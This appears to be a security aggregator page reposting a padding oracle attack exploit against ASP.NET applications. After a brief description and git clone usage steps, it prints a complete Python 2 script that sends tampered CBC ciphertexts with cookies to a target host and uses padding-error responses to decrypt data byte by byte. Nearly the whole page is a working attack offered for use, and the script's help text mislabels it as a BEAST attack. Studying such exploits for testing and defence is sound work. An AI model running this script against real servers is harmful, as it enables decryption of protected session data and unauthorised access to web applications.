Quantcast
Channel: Exploits – Security List Network™
Viewing all articles
Browse latest Browse all 514

Padding oracle attack against ASP.NET

$
0
0

An exploit for the Padding Oracle Attack. Tested against ASP.NET, works like a charm. The CBC mode must use PKCS7 for the padding block. This is an implementation of this great article Padding Oracle Attack. I advise you to read it if you want to understand the basic of the attack. This exploit allow block size of 8 or 16 this mean it can be use even if the cipher use AES or DES.

example-usage

example-usage

Usage:

git clone https://github.com/mpgn/Padding-oracle-attack && cd Padding-oracle-attack
python exploit.py -h (for full print helper)

exploit.py Script:

#! /usr/bin/python

'''
    Padding Oracle Attack implementation of this article https://not.burntout.org/blog/Padding_Oracle_Attack/
    Author: mpgn <martial.puygrenier@gmail.com>
    Date: 2016
'''

import argparse
import httplib, urllib
import re
import binascii
import sys
import logging
import time
from binascii import unhexlify, hexlify
from itertools import cycle, izip

####################################
# CUSTOM YOUR RESPONSE ORACLE HERE #
####################################
''' the function you want change to adapte the result to your problem '''
def test_validity(response,error):

    try:
        value = int(error)
        if int(response.status) == value:
            return 1
    except ValueError:
        pass  # it was a string, not an int.

    # oracle repsonse with data in the DOM
    data = response.read()
    if data.find(error) == -1:
        return 1
    return 0

################################
# CUSTOM YOUR ORACLE HTTP HERE #
################################
def call_oracle(host,cookie,url,post,method,up_cipher):
    if post:
        params = urllib.urlencode({post})
    else:
        params = urllib.urlencode({})
    headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain", 'Cookie': cookie}
    conn = httplib.HTTPConnection(host)
    conn.request(method, url + up_cipher, params, headers)
    response = conn.getresponse()
    return conn, response

# the exploit don't need to touch this part
# split the cipher in len of size_block
def split_len(seq, length):
    return [seq[i:i+length] for i in range(0, len(seq), length)]

''' create custom block for the byte we search'''
def block_search_byte(size_block, i, pos, l):
    hex_char = hex(pos).split('0x')[1]
    return "00"*(size_block-(i+1)) + ("0" if len(hex_char)%2 != 0 else '') + hex_char + ''.join(l)    

''' create custom block for the padding'''
def block_padding(size_block, i):
    l = []
    for t in range(0,i+1):
        l.append(("0" if len(hex(i+1).split('0x')[1])%2 != 0 else '') + (hex(i+1).split('0x')[1]))
    return "00"*(size_block-(i+1)) + ''.join(l)

def hex_xor(s1,s2):
    return hexlify(''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(unhexlify(s1), cycle(unhexlify(s2)))))

def run(cipher,size_block,host,url,cookie,method,post,iv,error):
    found        = False
    valide_value = []
    result       = []
    len_block    = size_block*2
    cipher_block = split_len(cipher, len_block)

    if iv != '':
        cipher_block.insert(0,iv)

    if len(cipher_block) == 1 and iv == '':
        print "[-] Abort there is only one block but no IV"
        sys.exit()  
    #for each cipher_block
    for block in reversed(range(1,len(cipher_block))):
        if len(cipher_block[block]) != len_block:
            print "[-] Abort length block doesn't match the size_block"
            break
        print "[+] Search value block : ", block
        #for each byte of the block
        for i in range(0,size_block):
            # test each byte max 255
            for ct_pos in range(0,256):
                # 1 xor 1 = 0 or valide padding need to be checked
                if ct_pos != i+1 or (len(valide_value) > 0  and int(valide_value[len(valide_value)-1],16) == ct_pos):

                    bk = block_search_byte(size_block, i, ct_pos, valide_value) 
                    bp = cipher_block[block-1]
                    bc = block_padding(size_block, i) 
                    if args.verbose == True:
                        print "[+] Block M_Byte : %s"% bk
                        print "[+] Block C_{i-1}: %s"% bp
                        print "[+] Block Padding: %s"% bc

                    tmp = hex_xor(bk,bp)
                    cb  = hex_xor(tmp,bc).upper()

                    up_cipher  = cb + cipher_block[block]
                    print "[+] Test [Byte ",''.join('%02i'% ct_pos),"/256 - Block",block,"]: ", up_cipher
                    if args.verbose == True:
                        print ''
                    #time.sleep(0.5)

                    # we call the oracle, our god
                    connection, response = call_oracle(host,cookie,url,post,method,up_cipher)
                    if args.verbose == True:
                        print "[+] HTTP ", response.status, response.reason
                    
                    if test_validity(response,error):
                        found = True
                        connection.close()
                        
                        # data analyse
                        value = re.findall('..',bk)
                        valide_value.insert(0,value[size_block-(i+1)])
                        print "[+] Found", i+1,  "bytes :", ''.join(valide_value)
                        print ''

                        # change byte of the block
                        #sys.exit()
                        break 
            if found == False:
                print "[-] Error decryption failed"
                sys.exit()
            found = False

        result.insert(0, ''.join(valide_value))
        valide_value = []

    print ''
    hex_r = ''.join(result)
    print "[+] Decrypted value (HEX):", hex_r.upper()
    padding = int(hex_r[len(hex_r)-2:len(hex_r)],16)
    print "[+] Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex")

if __name__ == '__main__':                           

    parser = argparse.ArgumentParser(description='Poc of BEAST attack')
    parser.add_argument('-c', "--cipher",               required=True,              help='cipher you want to decrypt')
    parser.add_argument('-l', '--length_block_cipher',  required=True, type=int,    help='lenght of a block cipher: 8,16')
    parser.add_argument("--host",                       required=True,              help='url example: /page=')
    parser.add_argument('-u', "--urltarget",            required=True,              help='url example: /page=')
    parser.add_argument('--error',                      required=True,              help='Error that oracle give us example: 404,500,200 OR in the dom example: "<h2>Padding Error<h2>"')
    parser.add_argument('--iv',             help='IV of the CBC cipher mode',       default="")
    parser.add_argument('--cookie',         help='Cookie example: PHPSESSID=9nnvje7p90b507shfmb94d7',   default="")
    parser.add_argument('--method',         help='Type methode like POST GET default GET',              default="GET")
    parser.add_argument('--post',           help="POST data example: 'user':'value', 'pass':'value'",    default="")
    parser.add_argument('-v', "--verbose",  help='debug mode, you need a large screen', action="store_true")
    args = parser.parse_args()

    run(args.cipher, args.length_block_cipher, args.host, args.urltarget, args.cookie, args.method, args.post, args.iv, args.error)

Source :https://github.com/mpgn


Viewing all articles
Browse latest Browse all 514